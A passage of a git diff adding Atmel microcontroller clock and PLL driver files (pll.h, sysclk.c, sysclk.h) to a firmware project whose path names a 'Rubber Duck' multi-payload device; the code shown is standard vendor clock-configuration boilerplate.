redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CHIP_PLL_H_INCLUDED +#define CHIP_PLL_H_INCLUDED + +/** + * \weakgroup pll_group + * @{ + */ + +#define PLL_MAX_STARTUP_CYCLES ((1 << AVR32_PM_PLL0_PLLCOUNT_SIZE) - 1) +#define NR_PLLS 2 + +/** + * \brief Number of milliseconds to wait for PLL lock + */ +#define PLL_TIMEOUT_MS \ + div_ceil(1000 * (PLL_MAX_STARTUP_CYCLES * 2), OSC_SLOW_MIN_HZ) + +/** + * \note The PLL must run at twice this frequency internally, but the + * output frequency may be divided by two by setting the PLLOPT[1] bit. + */ +#define PLL_MIN_HZ 40000000 +#define PLL_MAX_HZ 240000000 + +//! \name Chip-specific PLL options +//@{ +//! VCO frequency range is 80-180 MHz (160-240 MHz if unset). +#define PLL_OPT_VCO_RANGE_LOW 0 +//! Divide output frequency by two +#define PLL_OPT_OUTPUT_DIV 1 +//! Disable wide-bandwidth mode +#define PLL_OPT_WBM_DISABLE 2 +//! Number of PLL options +#define PLL_NR_OPTIONS AVR32_PM_PLL0_PLLOPT_SIZE +//! The threshold under which to set the #PLL_OPT_VCO_RANGE_LOW option +#define PLL_VCO_LOW_THRESHOLD ((AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ \ + + AVR32_PM_PLL_VCO_RANGE1_MAX_FREQ) / 2) +//@} + +#ifndef __ASSEMBLY__ + +#include +#include +#include +#include + +enum pll_source { + PLL_SRC_OSC0 = 0, //!< Oscillator 0 + PLL_SRC_OSC1 = 1, //!< Oscillator 1 + PLL_NR_SOURCES, //!< Number of PLL sources +}; + +struct pll_config { + uint32_t ctrl; +}; + +#define pll_get_default_rate(pll_id) \ + ((osc_get_rate(CONFIG_PLL##pll_id##_SOURCE) \ + * CONFIG_PLL##pll_id##_MUL) \ + / CONFIG_PLL##pll_id##_DIV) + +static inline void pll_config_set_option(struct pll_config *cfg, + unsigned int option) +{ + Assert(option < PLL_NR_OPTIONS); + + cfg->ctrl |= 1U << (AVR32_PM_PLL0_PLLOPT + option); +} + +static inline void pll_config_clear_option(struct pll_config *cfg, + unsigned int option) +{ + Assert(option < PLL_NR_OPTIONS); + + cfg->ctrl &= ~(1U << (AVR32_PM_PLL0_PLLOPT + option)); +} + +/** + * The PLL options #PLL_OPT_VCO_RANGE_LOW and #PLL_OPT_OUTPUT_DIV will + * be set automatically based on the calculated target frequency. + */ +static inline void pll_config_init(struct pll_config *cfg, + enum pll_source src, unsigned int div, unsigned int mul) +{ + uint32_t vco_hz; + + Assert(src < PLL_NR_SOURCES); + + /* Calculate internal VCO frequency */ + vco_hz = osc_get_rate(src) * mul; + vco_hz /= div; + Assert(vco_hz >= PLL_MIN_HZ); + Assert(vco_hz <= PLL_MAX_HZ); + + cfg->ctrl = 0; + + /* Bring the internal VCO frequency up to the minimum value */ + if ((vco_hz < PLL_MIN_HZ * 2) && (mul <= 8)) { + mul *= 2; + vco_hz *= 2; + pll_config_set_option(cfg, PLL_OPT_OUTPUT_DIV); + } + + /* Set VCO frequency range according to calculated value */ + if (vco_hz < PLL_VCO_LOW_THRESHOLD) + pll_config_set_option(cfg, PLL_OPT_VCO_RANGE_LOW); + + Assert(mul > 2 && mul <= 16); + Assert(div > 0 && div <= 15); + + cfg->ctrl |= ((mul - 1) << AVR32_PM_PLL0_PLLMUL) + | (div << AVR32_PM_PLL0_PLLDIV) + | (PLL_MAX_STARTUP_CYCLES << AVR32_PM_PLL0_PLLCOUNT) + | (src << AVR32_PM_PLL0_PLLOSC); +} + +#define pll_config_defaults(cfg, pll_id) \ + pll_config_init(cfg, \ + CONFIG_PLL##pll_id##_SOURCE, \ + CONFIG_PLL##pll_id##_DIV, \ + CONFIG_PLL##pll_id##_MUL) + +static inline void pll_config_read(struct pll_config *cfg, unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + cfg->ctrl = AVR32_PM.pll[pll_id]; +} + +static inline void pll_config_write(const struct pll_config *cfg, + unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + AVR32_PM.pll[pll_id] = cfg->ctrl; +} + +static inline void pll_enable(const struct pll_config *cfg, + unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + AVR32_PM.pll[pll_id] = cfg->ctrl | (1U << AVR32_PM_PLL0_PLLEN); +} + +static inline void pll_disable(unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + AVR32_PM.pll[pll_id] = 0; +} + +static inline bool pll_is_locked(unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + return !!(AVR32_PM.poscsr & (1U << (AVR32_PM_POSCSR_LOCK0 + pll_id))); +} + +#endif /* __ASSEMBLY__ */ + +//! @} + +#endif /* CHIP_PLL_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/uc3b0_b1/sysclk.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/uc3b0_b1/sysclk.c new file mode 100644 index 0000000..2a15f95 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/uc3b0_b1/sysclk.c @@ -0,0 +1,378 @@ +/** + * \file + * + * \brief Chip-specific system clock management functions + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#include +#include +#include +#include +#include + + +/** + * \weakgroup sysclk_group + * @{ + */ + +#if ((CONFIG_SYSCLK_CPU_DIV > CONFIG_SYSCLK_PBA_DIV) || \ + (CONFIG_SYSCLK_CPU_DIV > CONFIG_SYSCLK_PBB_DIV)) +# error CONFIG_SYSCLK_PBx_DIV must be equal to or more than CONFIG_SYSCLK_CPU_DIV. +#endif + +/** + * \internal + * \defgroup sysclk_internals_group System Clock internals + * + * System clock management is fairly straightforward apart from one + * thing: Enabling and disabling bus bridges. When all peripherals on a + * given bus are disabled, the bridge to the bus may be disabled. Only + * the PBA and PBB busses support this, and it is not practical to + * disable the PBA bridge as it includes the Power Manager, so turning + * it off would make it impossible to turn anything back on again. + * + * The system clock implementation keeps track of a reference count for + * PBB. When the reference count is zero, the bus bridge is disabled, otherwise + * it is enabled. + * + * @{ + */ + +/** + * \internal + * \name Initial module clock masks + * + * These are the mask values written to the xxxMASK registers during + * initialization if the user has overriden the default behaviour of all clocks + * left enabled. These values assume that: + * - Debugging should be possible + * - The program may be running from flash + * - The PM should be available to unmask other clocks + * - All on-chip RAM should be available + * - INTC, PM and GPIO are made permanently available for now; this + * may change in the future. + */ +//@{ +//! \internal +//! \brief Initial value of CPUMASK +#define SYSCLK_INIT_MINIMAL_CPUMASK \ + ((1 << SYSCLK_OCD) | (1 << SYSCLK_SYSTIMER)) +//! \internal +//! \brief Initial value of HSBMASK +#define SYSCLK_INIT_MINIMAL_HSBMASK \ + ((1 << SYSCLK_FLASHC_DATA) \ + | (1 << SYSCLK_PBA_BRIDGE)) +//! \internal +//! \brief Initial value of PBAMASK +#define SYSCLK_INIT_MINIMAL_PBAMASK \ + ((1 << SYSCLK_INTC) \ + | (1 << SYSCLK_GPIO) \ + | (1 << SYSCLK_PM)) +//! \internal +//! \brief Initial value of PBBMASK +#define SYSCLK_INIT_MINIMAL_PBBMASK 0 +//@} + +/** + * \internal + * \brief Number of enabled peripherals on the PBB bus. + */ +static uint8_t sysclk_pbb_refcount; + +#if defined(CONFIG_SYSCLK_DEFAULT_RETURNS_SLOW_OSC) +/** + * \brief boolean signaling that the sysclk_init is done. + */ +bool sysclk_initialized = false; +#endif + +/** + * \internal + * \brief Enable a maskable module clock. + * \param bus_id Bus index, given by the \c AVR32_PM_CLK_GRP_xxx definitions. + * \param module_index Index of the module to be enabled. This is the + * bit number in the corresponding xxxMASK register. + */ +void sysclk_priv_enable_module(unsigned int bus_id, unsigned int module_index) +{ + irqflags_t flags; + uint32_t mask; + + flags = cpu_irq_save(); + + /* + * Poll MSKRDY before changing mask rather than after, as it's + * highly unlikely to actually be cleared at this point. + */ + while (!(AVR32_PM.poscsr & (1U << AVR32_PM_POSCSR_MSKRDY))) { + /* Do nothing */ + } + + /* Enable the clock */ + mask = *(&AVR32_PM.cpumask + bus_id); + mask |= 1U << module_index; + *(&AVR32_PM.cpumask + bus_id) = mask; + + cpu_irq_restore(flags); +} + +/** + * \internal + * \brief Disable a maskable module clock. + * \param bus_id Bus index, given by the \c AVR32_PM_CLK_GRP_xxx definitions. + * \param module_index Index of the module to be disabled. This is the + * bit number in the corresponding xxxMASK register. + */ +void sysclk_priv_disable_module(unsigned int bus_id, unsigned int module_index) +{ + irqflags_t flags; + uint32_t mask; + + flags = cpu_irq_save(); + + /* + * Poll MSKRDY before changing mask rather than after, as it's + * highly unlikely to actually be cleared at this point. + */ + while (!(AVR32_PM.poscsr & (1U << AVR32_PM_POSCSR_MSKRDY))) { + /* Do nothing */ + } + + /* Disable the clock */ + mask = *(&AVR32_PM.cpumask + bus_id); + mask &= ~(1U << module_index); + *(&AVR32_PM.cpumask + bus_id) = mask; + + cpu_irq_restore(flags); +} + +//! @} + +/** + * \brief Enable a module clock derived from the PBB clock + * \param index Index of the module clock in the PBBMASK register + */ +void sysclk_enable_pbb_module(unsigned int index) +{ + irqflags_t flags; + + /* Enable the bridge if necessary */ + flags = cpu_irq_save(); + + if (!sysclk_pbb_refcount) + sysclk_enable_hsb_module(SYSCLK_PBB_BRIDGE); + sysclk_pbb_refcount++; + + cpu_irq_restore(flags); + + /* Enable the module */ + sysclk_priv_enable_module(AVR32_PM_CLK_GRP_PBB, index); +} + +/** + * \brief Disable a module clock derived from the PBB clock + * \param index Index of the module clock in the PBBMASK register + */ +void sysclk_disable_pbb_module(unsigned int index) +{ + irqflags_t flags; + + /* Disable the module */ + sysclk_priv_disable_module(AVR32_PM_CLK_GRP_PBB, index); + + /* Disable the bridge if possible */ + flags = cpu_irq_save(); + + sysclk_pbb_refcount--; + if (!sysclk_pbb_refcount) + sysclk_disable_hsb_module(SYSCLK_PBB_BRIDGE); + + cpu_irq_restore(flags); +} + +#if defined(CONFIG_USBCLK_SOURCE) || defined(__DOXYGEN__) +/** + * \brief Enable the USB generic clock + * + * \pre The USB generick clock must be configurated to 48MHz. + * CONFIG_USBCLK_SOURCE and CONFIG_USBCLK_DIV must be defined with proper + * configuration. The selected clock source must also be configured. + */ +void sysclk_enable_usb(void) +{ + struct genclk_config gcfg; + + sysclk_enable_pbb_module(SYSCLK_USBB_REGS); + sysclk_enable_hsb_module(SYSCLK_USBB_DATA); + genclk_config_defaults(&gcfg, AVR32_PM_GCLK_USBB); + + /* + * Switch to the system clock selected by the user. + */ + switch (CONFIG_USBCLK_SOURCE) { +#ifdef BOARD_OSC0_HZ + case USBCLK_SRC_OSC0: + osc_enable(0); + osc_wait_ready(0); + genclk_config_set_source(&gcfg, GENCLK_SRC_OSC0); + break; +#endif + +#ifdef CONFIG_PLL0_SOURCE + case USBCLK_SRC_PLL0: { + struct pll_config pllcfg; + + osc_enable(CONFIG_PLL0_SOURCE); + osc_wait_ready(CONFIG_PLL0_SOURCE); + + pll_config_defaults(&pllcfg, 0); + pll_enable(&pllcfg, 0); + pll_wait_for_lock(0); + genclk_config_set_source(&gcfg, GENCLK_SRC_PLL0); + break; + } +#endif + +#ifdef CONFIG_PLL1_SOURCE + case USBCLK_SRC_PLL1: { + struct pll_config pllcfg; + + osc_enable(CONFIG_PLL1_SOURCE); + osc_wait_ready(CONFIG_PLL1_SOURCE); + + pll_config_defaults(&pllcfg, 1); + pll_enable(&pllcfg, 1); + pll_wait_for_lock(1); + genclk_config_set_source(&gcfg, GENCLK_SRC_PLL1); + break; + } +#endif + + default: + /* unhandled_case(CONFIG_SYSCLK_SOURCE); */ + break; + } + + genclk_config_set_divider(&gcfg, CONFIG_USBCLK_DIV); + genclk_enable(&gcfg, AVR32_PM_GCLK_USBB); +} + +/** + * \brief Disable the USB generic clock + */ +void sysclk_disable_usb(void) +{ + genclk_disable(AVR32_PM_GCLK_USBB); + sysclk_disable_hsb_module(SYSCLK_USBB_DATA); + sysclk_disable_pbb_module(SYSCLK_USBB_REGS); +} +#endif // CONFIG_USBCLK_SOURCE + + +void sysclk_init(void) +{ +#if (CONFIG_SYSCLK_PBA_DIV < CONFIG_SYSCLK_CPU_DIV) +#error Wrong CONFIG_SYSCLK_PBA_DIV & CONFIG_SYSCLK_CPU_DIV settings +#endif + + /* Set up system clock dividers if different from defaults */ + if ((CONFIG_SYSCLK_CPU_DIV > 0) || (CONFIG_SYSCLK_PBA_DIV > 0) || + (CONFIG_SYSCLK_PBB_DIV > 0)) { + sysclk_set_prescalers(CONFIG_SYSCLK_CPU_DIV, + CONFIG_SYSCLK_PBA_DIV, + CONFIG_SYSCLK_PBB_DIV); + } + + /* + * Switch to the system clock selected by the user. + */ + switch (CONFIG_SYSCLK_SOURCE) { + case SYSCLK_SRC_RCSYS: + /* Already running from RCOSC */ + break; + +#ifdef BOARD_OSC0_HZ + case SYSCLK_SRC_OSC0: + osc_enable(0); + osc_wait_ready(0); + // Set a flash wait state depending on the new cpu frequency. + flash_set_bus_freq(BOARD_OSC0_HZ); + sysclk_set_source(SYSCLK_SRC_OSC0); + break; +#endif + +#ifdef CONFIG_PLL0_SOURCE + case SYSCLK_SRC_PLL0: { + struct pll_config pllcfg; + + osc_enable(CONFIG_PLL0_SOURCE); + osc_wait_ready(CONFIG_PLL0_SOURCE); + + pll_config_defaults(&pllcfg, 0); + pll_enable(&pllcfg, 0); + pll_wait_for_lock(0); + // Set a flash wait state depending on the new cpu frequency. + flash_set_bus_freq(sysclk_get_main_hz()); + sysclk_set_source(SYSCLK_SRC_PLL0); + break; + } +#endif + + default: + /* unhandled_case(CONFIG_SYSCLK_SOURCE); */ + break; + } + + /* If the user has specified clock masks, enable only requested clocks */ +#if defined(CONFIG_SYSCLK_INIT_CPUMASK) + AVR32_PM.cpumask = SYSCLK_INIT_MINIMAL_CPUMASK | CONFIG_SYSCLK_INIT_CPUMASK; +#endif +#if defined(CONFIG_SYSCLK_INIT_PBAMASK) + AVR32_PM.pbamask = SYSCLK_INIT_MINIMAL_PBAMASK | CONFIG_SYSCLK_INIT_PBAMASK; +#endif +#if defined(CONFIG_SYSCLK_INIT_PBBMASK) + AVR32_PM.pbbmask = SYSCLK_INIT_MINIMAL_PBBMASK | CONFIG_SYSCLK_INIT_PBBMASK; +#endif +#if defined(CONFIG_SYSCLK_INIT_HSBMASK) + AVR32_PM.hsbmask = SYSCLK_INIT_MINIMAL_HSBMASK | CONFIG_SYSCLK_INIT_HSBMASK; +#endif + +#if (defined CONFIG_SYSCLK_DEFAULT_RETURNS_SLOW_OSC) + /* Signal that the internal frequencies are setup */ + sysclk_initialized = true; +#endif +} + +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/uc3b0_b1/sysclk.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/uc3b0_b1/sysclk.h new file mode 100644 index 0000000..b5fcea4 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/clock/uc3b0_b1/sysclk.h @@ -0,0 +1,766 @@ +/** + * \file + * + * \brief Chip-specific system clock management functions + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CHIP_SYSCLK_H_INCLUDED +#define CHIP_SYSCLK_H_INCLUDED + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \weakgroup sysclk_group + * @{ + */ + +//! \name System Clock Sources +//@{ +#define SYSCLK_SRC_RCSYS 0 //!< Use slow clock as main clock +#define SYSCLK_SRC_OSC0 1 //!< Use OSC0 as main clock +#define SYSCLK_SRC_PLL0 2 //!< Use PLL0 as main clock +//@} + +//! \name USB Clock Sources +//@{ +#define USBCLK_SRC_OSC0 0 //!< Use OSC0 +#define USBCLK_SRC_PLL0 1 //!< Use PLL0 +#define USBCLK_SRC_PLL1 2 //!< Use PLL1 +//@} + + +//! \name Clocks derived from the CPU clock +//@{ +#define SYSCLK_OCD AVR32_OCD_CLK_CPU //!< On-Chip Debug system +#define SYSCLK_SYSTIMER AVR32_CORE_CLK_CPU_COUNT //!< COUNT/COMPARE registers +//@} + +//! \name Clocks derived from the HSB clock +//@{ +//! Flash data interface +#define SYSCLK_FLASHC_DATA (AVR32_FLASHC_CLK_HSB % 32) +//! HSB<->PBA bridge +#define SYSCLK_PBA_BRIDGE (AVR32_HMATRIX_CLK_HSB_PBA_BRIDGE % 32) +//! HSB<->PBB bridge +#define SYSCLK_PBB_BRIDGE (AVR32_HMATRIX_CLK_HSB_PBB_BRIDGE % 32) +//! USBB DMA and FIFO interface +#define SYSCLK_USBB_DATA (AVR32_USBB_CLK_HSB % 32) +//! PDCA memory interface +#define SYSCLK_PDCA_HSB (AVR32_PDCA_CLK_HSB % 32) +//@} + +//! \name Clocks derived from the PBA clock +//@{ +//! Internal interrupt controller +#define SYSCLK_INTC (AVR32_INTC_CLK_PBA % 32) +//! General-Purpose I/O +#define SYSCLK_GPIO (AVR32_GPIO_CLK_PBA % 32) +//! PDCA peripheral bus interface +#define SYSCLK_PDCA_PB (AVR32_PDCA_CLK_PBA % 32) +//! PM/RTC/EIM configuration +#define SYSCLK_PM (AVR32_PM_CLK_PBA % 32) +//! A/D Converter +#define SYSCLK_ADC (AVR32_ADC_CLK_PBA % 32) +//! SPI Controller 0 +#define SYSCLK_SPI (AVR32_SPI_CLK_PBA % 32) +//! TWI Controller +#define SYSCLK_TWI (AVR32_TWI_CLK_PBA % 32) +//! USART 0 +#define SYSCLK_USART0 (AVR32_USART0_CLK_PBA % 32) +//! USART 1 +#define SYSCLK_USART1 (AVR32_USART1_CLK_PBA % 32) +//! USART 2 +#define SYSCLK_USART2 (AVR32_USART2_CLK_PBA % 32) +//! PWM +#define SYSCLK_PWM (AVR32_PWM_CLK_PBA % 32) +//! Synchronous Serial Controller +#define SYSCLK_SSC (AVR32_SSC_CLK_PBA % 32) +//! Timer/Counter +#define SYSCLK_TC (AVR32_TC_CLK_PBA % 32) +//! D/A Converter +#define SYSCLK_DAC (AVR32_ABDAC_CLK_PBA % 32) +//@} + +//! \name Clocks derived from the PBB clock +//@{ +//! HSB Matrix configuration +#define SYSCLK_HMATRIX (AVR32_HMATRIX_CLK_PBB % 32) +//! USBB registers +#define SYSCLK_USBB_REGS (AVR32_USBB_CLK_PBB % 32) +//! Flash Controller registers +#define SYSCLK_FLASHC_REGS (AVR32_FLASHC_CLK_PBB % 32) +//@} + +#ifndef __ASSEMBLY__ + +#include +#include +#include +#include + +// Use the slow clock (RCOSC) with no prescaling if config was empty. +#ifndef CONFIG_SYSCLK_SOURCE +# define CONFIG_SYSCLK_SOURCE SYSCLK_SRC_RCSYS +#endif /* CONFIG_SYSCLK_SOURCE */ + +/** + * \def CONFIG_SYSCLK_CPU_DIV + * \brief Configuration symbol for dividing the CPU clock frequency by + * \f$2^{CONFIG\_SYSCLK\_CPU\_DIV}\f$ + * + * If this symbol is not defined, the CPU clock frequency is not divided. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifndef CONFIG_SYSCLK_CPU_DIV +# define CONFIG_SYSCLK_CPU_DIV 0 +#endif /* CONFIG_SYSCLK_CPU_DIV */ + +/** + * \def CONFIG_SYSCLK_INIT_HSBMASK + * \brief Configuration symbol for the HSB clocks enabled at power-on after the + * sysclock module has been initialized. By default, all HSB clocks are left + * enabled, however to save power these can be automatically disabled by defining + * this value to a mask of \c SYSCLOCK_xxx settings. + * + * If this symbol is not defined, then all HSB clocks are left enabled. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifdef __DOXYGEN__ +# define CONFIG_SYSCLK_INIT_HSBMASK +#endif + +/** + * \def CONFIG_SYSCLK_PBA_DIV + * \brief Configuration symbol for dividing the PBA clock frequency by + * \f$2^{CONFIG\_SYSCLK\_PBA\_DIV}\f$ + * + * If this symbol is not defined, the PBA clock frequency is not divided. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifndef CONFIG_SYSCLK_PBA_DIV +# define CONFIG_SYSCLK_PBA_DIV 0 +#endif /* CONFIG_SYSCLK_PBA_DIV */ + +/** + * \def CONFIG_SYSCLK_PBB_DIV + * \brief Configuration symbol for dividing the PBA clock frequency by + * \f$2^{CONFIG\_SYSCLK\_PBB\_DIV}\f$ + * + * If this symbol is not defined, the PBA clock frequency is not divided. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifndef CONFIG_SYSCLK_PBB_DIV +# define CONFIG_SYSCLK_PBB_DIV 0 +#endif /* CONFIG_SYSCLK_PBB_DIV */ + +/** + * \def CONFIG_SYSCLK_INIT_CPUMASK + * \brief Configuration symbol for the CPU clocks enabled at power-on after the + * sysclock module has been initialized. By default, all CPU clocks are left + * enabled, however to save power these can be automatically disabled by defining + * this value to a mask of \c SYSCLOCK_xxx settings. + * + * If this symbol is not defined, then all CPU clocks are left enabled. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifdef __DOXYGEN__ +# define CONFIG_SYSCLK_INIT_CPUMASK +#endif + +/** + * \def CONFIG_SYSCLK_INIT_PBAMASK + * \brief Configuration symbol for the PBA clocks enabled at power-on after the + * sysclock module has been initialized. By default, all PBA clocks are left + * enabled, however to save power these can be automatically disabled by defining + * this value to a mask of \c SYSCLOCK_xxx settings. + * + * If this symbol is not defined, then all PBA clocks are left enabled. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifdef __DOXYGEN__ +# define CONFIG_SYSCLK_INIT_PBAMASK +#endif + +/** + * \def CONFIG_SYSCLK_INIT_PBBMASK + * \brief Configuration symbol for the PBB clocks enabled at power-on after the + * sysclock module has been initialized. By default, all PBB clocks are left + * enabled, however to save power these can be automatically disabled by defining + * this value to a mask of \c SYSCLOCK_xxx settings. + * + * If this symbol is not defined, then all PBB clocks are left enabled. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifdef __DOXYGEN__ +# define CONFIG_SYSCLK_INIT_PBBMASK +#endif + +/** + * \def CONFIG_USBCLK_SOURCE + * \brief Configuration symbol for the USB generic clock source + * + * Sets the clock source to use for the USB. The source must also be properly + * configured. + * + * Define this to one of the \c USBCLK_SRC_xxx settings. Leave it undefined if + * USB is not required. + */ +#ifdef __DOXYGEN__ +# define CONFIG_USBCLK_SOURCE +#endif + +/** + * \def CONFIG_USBCLK_DIV + * \brief Configuration symbol for the USB generic clock divider setting + * + * Sets the clock division for the USB generic clock. If a USB clock source is + * selected with CONFIG_USBCLK_SOURCE, this configuration symbol must also be + * defined. + * + * Define this as any value that does not exceed \c GENCLK_DIV_MAX, and which + * will give a 48 MHz clock frequency from the selected source. + */ +#ifdef __DOXYGEN__ +# define CONFIG_USBCLK_DIV +#endif + +/** + * \name Querying the system clock and its derived clocks + * + * The following functions may be used to query the current frequency of + * the system clock and the CPU and bus clocks derived from it. + * sysclk_get_main_hz() and sysclk_get_cpu_hz() can be assumed to be + * available on all platforms, although some platforms may define + * additional accessors for various chip-internal bus clocks. These are + * usually not intended to be queried directly by generic code. + */ +//@{ + +/** + * \brief Return the current rate in Hz of the main system clock + * + * \todo This function assumes that the main clock source never changes + * once it's been set up, and that PLL0 always runs at the compile-time + * configured default rate. While this is probably the most common + * configuration, which we want to support as a special case for + * performance reasons, we will at some point need to support more + * dynamic setups as well. + */ +#if (defined CONFIG_SYSCLK_DEFAULT_RETURNS_SLOW_OSC) +extern bool sysclk_initialized; +#endif +static inline uint32_t sysclk_get_main_hz(void) +{ +#if (defined CONFIG_SYSCLK_DEFAULT_RETURNS_SLOW_OSC) + if (!sysclk_initialized ) { + return OSC_SLOW_NOMINAL_HZ; + } +#endif + + switch (CONFIG_SYSCLK_SOURCE) { + case SYSCLK_SRC_RCSYS: + return OSC_SLOW_NOMINAL_HZ; + +#ifdef BOARD_OSC0_HZ + case SYSCLK_SRC_OSC0: + return BOARD_OSC0_HZ; +#endif + +#ifdef CONFIG_PLL0_SOURCE + case SYSCLK_SRC_PLL0: + return pll_get_default_rate(0); +#endif + + default: + /* unhandled_case(CONFIG_SYSCLK_SOURCE); */ + return 0; + } +} + +/** + * \brief Return the current rate in Hz of the CPU clock + * + * \todo This function assumes that the CPU always runs at the system + * clock frequency. We want to support at least two more scenarios: + * Fixed CPU/bus clock dividers (config symbols) and dynamic CPU/bus + * clock dividers (which may change at run time). Ditto for all the bus + * clocks. + * + * \return Frequency of the CPU clock, in Hz. + */ +static inline uint32_t sysclk_get_cpu_hz(void) +{ + return sysclk_get_main_hz() >> CONFIG_SYSCLK_CPU_DIV; +} + +/** + * \brief Return the current rate in Hz of the High-Speed Bus clock + * + * \return Frequency of the High Speed Peripheral Bus clock, in Hz. + */ +static inline uint32_t sysclk_get_hsb_hz(void) +{ + return sysclk_get_main_hz() >> CONFIG_SYSCLK_CPU_DIV; +} + +/** + * \brief Return the current rate in Hz of the Peripheral Bus A clock + * + * \return Frequency of the Peripheral Bus A clock, in Hz. + */ +static inline uint32_t sysclk_get_pba_hz(void) +{ + return sysclk_get_main_hz() >> CONFIG_SYSCLK_PBA_DIV; +} + +/** + * \brief Return the current rate in Hz of the Peripheral Bus B clock + * + * \return Frequency of the Peripheral Bus B clock, in Hz. + */ +static inline uint32_t sysclk_get_pbb_hz(void) +{ + return sysclk_get_main_hz() >> CONFIG_SYSCLK_CPU_DIV; +} + +/** + * \brief Retrieves the current rate in Hz of the Peripheral Bus clock attached + * to the specified peripheral. + * + * \param module Pointer to the module's base address. + * + * \return Frequency of the bus attached to the specified peripheral, in Hz. + */ +static inline uint32_t sysclk_get_peripheral_bus_hz(const volatile void 